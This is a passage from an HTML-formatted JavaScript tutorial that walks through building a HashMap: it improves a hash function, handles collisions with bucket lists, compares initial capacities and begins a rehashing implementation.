<strong>2)</strong> <strong>Collisions</strong> are not handled at all. Both <code>cat</code> and <code>dog</code> will overwrite each other on position 3 of the Array (bucket#1).</p>
<p><br><br>
<strong>3)</strong> <strong>Size of the Array</strong> even if we get a better hash function, we will get duplicates because the Array has a size of 3, which less than the number of elements that we want to fit. We want to have an initial capacity that is well beyond what we need to fit.</p>
</details>

<p>Did you guess any? ☝️</p>
<h3 id="Improving-Hash-Function"><a href="#Improving-Hash-Function" class="headerlink" title="Improving Hash Function"></a>Improving Hash Function</h3><blockquote>
<p>The primary purpose of a HashMap is to reduce the search/access time of an Array from <em><code>O(n)</code></em> to <em><code>O(1)</code></em>.</p>
</blockquote>
<p>For that, we need:</p>
<ol>
<li>A proper hash function that produces as few collisions as possible.</li>
<li>An array big enough to hold all the required values.</li>
</ol>
<p>Let’s give it another shot at our hash function. Instead of using the string’s length, let’s sum each character <a href="https://simple.wikipedia.org/wiki/ASCII">ascii code</a>.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">hash(key) &#123;</span><br><span class="line">  <span class="keyword">let</span> hashValue = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">const</span> stringKey = key.toString();</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; stringKey.length; index++) &#123;</span><br><span class="line">    <span class="keyword">const</span> charCode = stringKey.charCodeAt(index);</span><br><span class="line">    hashValue += charCode;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> hashValue;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Let’s try again:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hash(<span class="string">&#x27;cat&#x27;</span>) <span class="comment">// 312  (c=99 + a=97 + t=116)</span></span><br><span class="line">hash(<span class="string">&#x27;dog&#x27;</span>) <span class="comment">// 314 (d=100 + o=111 + g=103)</span></span><br></pre></td></tr></table></figure>
<p>This one is better! Because words with the same length have different codes.</p>
<p>Howeeeeeeeeever, there’s still an issue! Because <code>rat</code> and <code>art</code> are both 327, <strong>collision!</strong> 💥</p>
<p>We can fix that by offsetting the sum with the position:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">hash(key) &#123;</span><br><span class="line">  <span class="keyword">let</span> hashValue = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">const</span> stringKey = <span class="string">`<span class="subst">$&#123;key&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; stringKey.length; index++) &#123;</span><br><span class="line">    <span class="keyword">const</span> charCode = stringKey.charCodeAt(index);</span><br><span class="line">    hashValue += charCode &lt;&lt; (index * <span class="number">8</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> hashValue;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now let’s try again, this time with hex numbers so we can see the offset.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// r = 114 or 0x72; a = 97 or 0x61; t = 116 or 0x74</span></span><br><span class="line">hash(<span class="string">&#x27;rat&#x27;</span>); <span class="comment">// 7,627,122 (r: 114 * 1 + a: 97 * 256 + t: 116 * 65,536) or in hex: 0x746172 (r: 0x72 + a: 0x6100 + t: 0x740000)</span></span><br><span class="line">hash(<span class="string">&#x27;art&#x27;</span>); <span class="comment">// 7,631,457 or 0x747261</span></span><br></pre></td></tr></table></figure>

<p>What about different types?</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">hash(<span class="number">1</span>); <span class="comment">// 49</span></span><br><span class="line">hash(<span class="string">&#x27;1&#x27;</span>); <span class="comment">// 49</span></span><br><span class="line"></span><br><span class="line">hash(<span class="string">&#x27;1,2,3&#x27;</span>); <span class="comment">// 741485668</span></span><br><span class="line">hash([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>]); <span class="comment">// 741485668</span></span><br><span class="line"></span><br><span class="line">hash(<span class="string">&#x27;undefined&#x27;</span>) <span class="comment">// 3402815551</span></span><br><span class="line">hash(<span class="literal">undefined</span>) <span class="comment">// 3402815551</span></span><br></pre></td></tr></table></figure>

<p>Houston, we still have a problem!! Different value types shouldn’t return the same hash code!</p>
<p>How can we solve that?</p>
<p>One way is taking into account the key <code>type</code> into the hash function.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">hash(key) &#123;</span><br><span class="line">  <span class="keyword">let</span> hashValue = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">const</span> stringTypeKey = <span class="string">`<span class="subst">$&#123;key&#125;</span><span class="subst">$&#123;<span class="keyword">typeof</span> key&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; stringTypeKey.length; index++) &#123;</span><br><span class="line">    <span class="keyword">const</span> charCode = stringTypeKey.charCodeAt(index);</span><br><span class="line">    hashValue += charCode &lt;&lt; (index * <span class="number">8</span>);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> hashValue;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Let’s test that again:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">console</span>.log(hash(<span class="number">1</span>)); <span class="comment">// 1843909523</span></span><br><span class="line"><span class="built_in">console</span>.log(hash(<span class="string">&#x27;1&#x27;</span>)); <span class="comment">// 1927012762</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(hash(<span class="string">&#x27;1,2,3&#x27;</span>)); <span class="comment">// 2668498381</span></span><br><span class="line"><span class="built_in">console</span>.log(hash([<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>])); <span class="comment">// 2533949129</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(hash(<span class="string">&#x27;undefined&#x27;</span>)); <span class="comment">// 5329828264</span></span><br><span class="line"><span class="built_in">console</span>.log(hash(<span class="literal">undefined</span>)); <span class="comment">// 6940203017</span></span><br></pre></td></tr></table></figure>

<p><a id="DecentHashMap"></a>
Yay!!! 🎉 We have a much better hash function!</p>
<p>We also can change the initial capacity of the Array to minimize collisions. Let’s put all of that together in the next section.</p>
<h3 id="Decent-HashMap-Implementation"><a href="#Decent-HashMap-Implementation" class="headerlink" title="Decent HashMap Implementation"></a>Decent HashMap Implementation</h3><p>Using our optimized hash function, we can now do much better.</p>
<p>We could still have collisions, so let’s implement something to handle them.</p>
<!-- However, it doesn't matter how good our hash function is. As long as we use a limited size bucket, we would have collisions.  So, we have to account for that and handle it gracefully.  -->

<p>Let’s make the following improvements to our HashMap implementation:</p>
<ul>
<li><strong>Hash function</strong> that checks types and character orders to minimize collisions.</li>
<li><strong>Handle collisions</strong> by appending values to a list. We also added a counter to keep track of them.</li>
</ul>
<figure class="highlight js"><figcaption><span>Decent HashMap Implementation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/maps/hash-maps/hash-map-2.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">DecentHashMap</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">constructor</span>(initialCapacity = 2) &#123;</span><br><span class="line">    <span class="built_in">this</span>.buckets = <span class="keyword">new</span> <span class="built_in">Array</span>(initialCapacity);</span><br><span class="line">    <span class="built_in">this</span>.collisions = <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  set(key, value) &#123;</span><br><span class="line">    <span class="keyword">const</span> bucketIndex = <span class="built_in">this</span>.getIndex(key);</span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">this</span>.buckets[bucketIndex]) &#123;</span><br><span class="line">      <span class="built_in">this</span>.buckets[bucketIndex].push(&#123;key, value&#125;);</span><br><span class="line">      <span class="keyword">if</span>(<span class="built_in">this</span>.buckets[bucketIndex].length &gt; <span class="number">1</span>) &#123; <span class="built_in">this</span>.collisions++; &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="built_in">this</span>.buckets[bucketIndex] = [&#123;key, value&#125;];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>;</span><br><span class="line">  &#125;</span><br><span class="line marked"></span><br><span class="line">  get(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> bucketIndex = <span class="built_in">this</span>.getIndex(key);</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> arrayIndex = <span class="number">0</span>; arrayIndex &lt; <span class="built_in">this</span>.buckets[bucketIndex].length; arrayIndex++) &#123;</span><br><span class="line">      <span class="keyword">const</span> entry = <span class="built_in">this</span>.buckets[bucketIndex][arrayIndex];</span><br><span class="line marked">      <span class="keyword">if</span>(entry.key === key) &#123;</span><br><span class="line">        <span class="keyword">return</span> entry.value</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  hash(key) &#123;</span><br><span class="line">    <span class="keyword">let</span> hashValue = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">const</span> stringTypeKey = <span class="string">`<span class="subst">$&#123;key&#125;</span><span class="subst">$&#123;<span class="keyword">typeof</span> key&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; stringTypeKey.length; index++) &#123;</span><br><span class="line">      <span class="keyword">const</span> charCode = stringTypeKey.charCodeAt(index);</span><br><span class="line">      hashValue += charCode &lt;&lt; (index * <span class="number">8</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> hashValue;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  getIndex(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> indexHash = <span class="built_in">this</span>.hash(key);</span><br><span class="line">    <span class="keyword">const</span> index = indexHash % <span class="built_in">this</span>.buckets.length;</span><br><span class="line">    <span class="keyword">return</span> index;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>


<p>Let’s use it and see how it perform:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Usage:</span></span><br><span class="line"><span class="keyword">const</span> assert = <span class="built_in">require</span>(<span class="string">&#x27;assert&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> hashMap = <span class="keyword">new</span> DecentHashMap();</span><br><span class="line"></span><br><span class="line">hashMap.set(<span class="string">&#x27;cat&#x27;</span>, <span class="number">2</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;rat&#x27;</span>, <span class="number">7</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;dog&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;art&#x27;</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;collisions: &#x27;</span>, hashMap.collisions); <span class="comment">// 2</span></span><br><span class="line"><span class="built_in">console</span>.log(hashMap.buckets);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">  bucket #0: [ &#123; key: &#x27;cat&#x27;, value: 2 &#125;, &#123; key: &#x27;art&#x27;, value: 8 &#125; ]</span></span><br><span class="line"><span class="comment">  bucket #1: [ &#123; key: &#x27;rat&#x27;, value: 7 &#125;, &#123; key: &#x27;dog&#x27;, value: 1 &#125; ]</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;art&#x27;</span>), <span class="number">8</span>); <span class="comment">// this one is ok</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;cat&#x27;</span>), <span class="number">2</span>); <span class="comment">// Good. Didn&#x27;t got overwritten by art</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;rat&#x27;</span>), <span class="number">7</span>); <span class="comment">// Good. Didn&#x27;t got overwritten by art</span></span><br><span class="line">assert.equal(hashMap.get(<span class="string">&#x27;dog&#x27;</span>), <span class="number">1</span>); <span class="comment">// Good. Didn&#x27;t got overwritten by art</span></span><br></pre></td></tr></table></figure>

<p>This <code>DecentHashMap</code> gets the job done, but there are still some issues. We are using a decent hash function that doesn’t produce duplicate values, and that’s great. However, we have two values in <code>bucket#0</code> and two more in <code>bucket#1</code>. How is that possible?</p>
<p>Since we are using a limited bucket size of 2, we use modulus <code>%</code> to loop through the number of available buckets. So, even if the hash code is different, all values will fit on the Array size: bucket#0 or bucket#1.</p>
<!-- [{"key":"cat","hash":3789411390},{"key":"dog","hash":3788563007},{"key":"rat","hash":3789411405},{"key":"art","hash":3789415740}] -->

<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">hash(<span class="string">&#x27;cat&#x27;</span>) =&gt; <span class="number">3789411390</span>; <span class="function"><span class="params">bucketIndex</span> =&gt;</span> <span class="number">3789411390</span> % <span class="number">2</span> = <span class="number">0</span></span><br><span class="line">hash(<span class="string">&#x27;art&#x27;</span>) =&gt; <span class="number">3789415740</span>; <span class="function"><span class="params">bucketIndex</span> =&gt;</span> <span class="number">3789415740</span> % <span class="number">2</span> = <span class="number">0</span></span><br><span class="line">hash(<span class="string">&#x27;dog&#x27;</span>) =&gt; <span class="number">3788563007</span>; <span class="function"><span class="params">bucketIndex</span> =&gt;</span> <span class="number">3788563007</span> % <span class="number">2</span> = <span class="number">1</span></span><br><span class="line">hash(<span class="string">&#x27;rat&#x27;</span>) =&gt; <span class="number">3789411405</span>; <span class="function"><span class="params">bucketIndex</span> =&gt;</span> <span class="number">3789411405</span> % <span class="number">2</span> = <span class="number">1</span></span><br></pre></td></tr></table></figure>

<p>So naturally, we have increased the initial capacity, but by how much? Let’s see how the initial size affects the hash map performance.</p>
<p>If we have an initial capacity of <code>1</code>. All the values will go into one bucket (<code>bucket#0</code>), and it won’t be any better than searching a deal in a simple array <em><code>O(n)</code></em>.</p>
<p>Let’s say that we start with an initial capacity set to 10:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> hashMapSize10 = <span class="keyword">new</span> DecentHashMap(<span class="number">10</span>);</span><br><span class="line"></span><br><span class="line">hashMapSize10.set(<span class="string">&#x27;cat&#x27;</span>, <span class="number">2</span>);</span><br><span class="line">hashMapSize10.set(<span class="string">&#x27;rat&#x27;</span>, <span class="number">7</span>);</span><br><span class="line">hashMapSize10.set(<span class="string">&#x27;dog&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">hashMapSize10.set(<span class="string">&#x27;art&#x27;</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;collisions: &#x27;</span>, hashMapSize10.collisions); <span class="comment">// 1</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;hashMapSize10\n&#x27;</span>, hashMapSize10.buckets);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">  bucket#0: [ &#123; key: &#x27;cat&#x27;, value: 2 &#125;, &#123; key: &#x27;art&#x27;, value: 8 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;4 empty items&gt;,</span></span><br><span class="line"><span class="comment">  bucket#5: [ &#123; key: &#x27;rat&#x27;, value: 7 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;1 empty item&gt;,</span></span><br><span class="line"><span class="comment">  bucket#7: [ &#123; key: &#x27;dog&#x27;, value: 1 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;2 empty items&gt;</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure>

<p>Another way to see this</p>
<img src="/images/hash-map.jpg" class="" title="HashMap: hash function translates keys into bucket (array) indexes">

<p>As you can see, we reduced the number of collisions (from 2 to 1) by increasing the hash map’s initial capacity.</p>
<p>Let’s try with a bigger capacity 💯:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> hashMapSize100 = <span class="keyword">new</span> DecentHashMap(<span class="number">100</span>);</span><br><span class="line"></span><br><span class="line">hashMapSize100.set(<span class="string">&#x27;cat&#x27;</span>, <span class="number">2</span>);</span><br><span class="line">hashMapSize100.set(<span class="string">&#x27;rat&#x27;</span>, <span class="number">7</span>);</span><br><span class="line">hashMapSize100.set(<span class="string">&#x27;dog&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">hashMapSize100.set(<span class="string">&#x27;art&#x27;</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;collisions: &#x27;</span>, hashMapSize100.collisions); <span class="comment">// 0</span></span><br><span class="line"><span class="built_in">console</span>.log(<span class="string">&#x27;hashMapSize100\n&#x27;</span>, hashMapSize100.buckets);</span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">            &lt;5 empty items&gt;,</span></span><br><span class="line"><span class="comment">  bucket#5: [ &#123; key: &#x27;rat&#x27;, value: 7 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;1 empty item&gt;,</span></span><br><span class="line"><span class="comment">  bucket#7: [ &#123; key: &#x27;dog&#x27;, value: 1 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;32 empty items&gt;,</span></span><br><span class="line"><span class="comment">  bucket#41: [ &#123; key: &#x27;art&#x27;, value: 8 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;49 empty items&gt;,</span></span><br><span class="line"><span class="comment">  bucket#90: [ &#123; key: &#x27;cat&#x27;, value: 2 &#125; ],</span></span><br><span class="line"><span class="comment">            &lt;9 empty items&gt;</span></span><br><span class="line"><span class="comment">*/</span></span><br></pre></td></tr></table></figure>
<p>Yay! 🎊 no collision!</p>
<p>Having a bigger bucket size is excellent to avoid collisions, but it consumes <strong>too much memory</strong>, and probably most of the buckets will be unused.</p>
<p>Wouldn’t it be great if we can have a HashMap that automatically increases its size as needed? Well, that’s called ** rehash**, and we are going to do it next!</p>
<h3 id="Optimal-HashMap-Implementation"><a href="#Optimal-HashMap-Implementation" class="headerlink" title="Optimal HashMap Implementation"></a>Optimal HashMap Implementation</h3><p>If we have a big enough bucket, we won’t have collisions; thus, the search time would be <em><code>O(1)</code></em>. However, how do we know how big a hash map capacity should big? 100? 1,000? A million?</p>
<p>Having allocated massive amounts of memory is impractical. So, we can automatically have the hash map resize itself based on a load factor. This operation is called ** rehash**.</p>
<p>The <strong>load factor</strong> is the measurement of how full is a hash map. We can get the load factor by dividing the number of items by the bucket size.</p>
<p>This will be our latest and greatest hash map implementation:</p>
<!-- http://www.dcs.gla.ac.uk/~jsinger/pdfs/sicsa_openjdk/OpenJDKArchitecture.pdf -->
<!-- JDK10: https://github.com/dmlloyd/openjdk/blob/jdk/jdk/src/hotspot/share/utilities/hashtable.cpp -->
<!-- https://github.com/dmlloyd/openjdk/blob/jdk/jdk/src/java.desktop/windows/native/libawt/windows/Hashtable.h -->
<!-- https://github.com/dmlloyd/openjdk/blob/jdk/jdk/src/java.desktop/windows/native/libawt/windows/Hashtable.cpp -->

<!-- http://hg.openjdk.java.net/jdk10/master/file/6a0c42c40cd1/src/hotspot/share/utilities/hashtable.hpp -->
<!-- http://hg.openjdk.java.net/jdk10/master/file/6a0c42c40cd1/src/hotspot/share/utilities/hashtable.cpp -->

<!-- http://hg.openjdk.java.net/jdk9/jdk9/jdk/file/f08705540498/src/java.base/share/classes/java/util/HashMap.java -->

<!-- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/556b17038b5c/src/share/classes/java/util/HashMap.java -->
<!-- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/556b17038b5c/src/share/classes/java/util/Hashtable.java -->


<!-- http://www.docjar.com/html/api/java/util/LinkedList.java.html -->
<!-- http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/tip/src/share/classes/java/util/LinkedList.java -->
<!-- https://algs4.cs.princeton.edu/13stacks/DoublyLinkedList.java.html -->

<p><a id="HashMapWithRehash"></a></p>
<details>
 <summary>**Optimized Hash Map Implementation _(click here to show the code)_**</summary>

<figure class="highlight js"><figcaption><span>Optimal HashMap Implementation</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/maps/hash-maps/hash-map.js">documented code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">HashMap</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(initialCapacity = 16, loadFactor = 0.75) &#123;</span><br><span class="line">    <span class="built_in">this</span>.buckets = <span class="keyword">new</span> <span class="built_in">Array</span>(initialCapacity);</span><br><span class="line marked">    <span class="built_in">this</span>.loadFactor = loadFactor;</span><br><span class="line">    <span class="built_in">this</span>.size = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">this</span>.collisions = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">this</span>.keys = [];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  hash(key) &#123;</span><br><span class="line">    <span class="keyword">let</span> hashValue = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">const</span> stringTypeKey = <span class="string">`<span class="subst">$&#123;key&#125;</span><span class="subst">$&#123;<span class="keyword">typeof</span> key&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; stringTypeKey.length; index++) &#123;</span><br><span class="line">      <span class="keyword">const</span> charCode = stringTypeKey.charCodeAt(index);</span><br><span class="line">      hashValue += charCode &lt;&lt; (index * <span class="number">8</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> hashValue;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">  _getBucketIndex(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> hashValue = <span class="built_in">this</span>.hash(key);</span><br><span class="line">    <span class="keyword">const</span> bucketIndex = hashValue % <span class="built_in">this</span>.buckets.length;</span><br><span class="line">    <span class="keyword">return</span> bucketIndex;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  set(key, value) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123;bucketIndex, entryIndex&#125; = <span class="built_in">this</span>._getIndexes(key);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(entryIndex === <span class="literal">undefined</span>) &#123;</span><br><span class="line">      <span class="comment">// initialize array and save key/value</span></span><br><span class="line">      <span class="keyword">const</span> keyIndex = <span class="built_in">this</span>.keys.push(&#123;<span class="attr">content</span>: key&#125;) - <span class="number">1</span>; <span class="comment">// keep track of the key index</span></span><br><span class="line">      <span class="built_in">this</span>.buckets[bucketIndex] = <span class="built_in">this</span>.buckets[bucketIndex] || [];</span><br><span class="line">      <span class="built_in">this</span>.buckets[bucketIndex].push(&#123;key, value, keyIndex&#125;);</span><br><span class="line">      <span class="built_in">this</span>.size++;</span><br><span class="line">      <span class="comment">// Optional: keep count of collisions</span></span><br><span class="line">      <span class="keyword">if</span>(<span 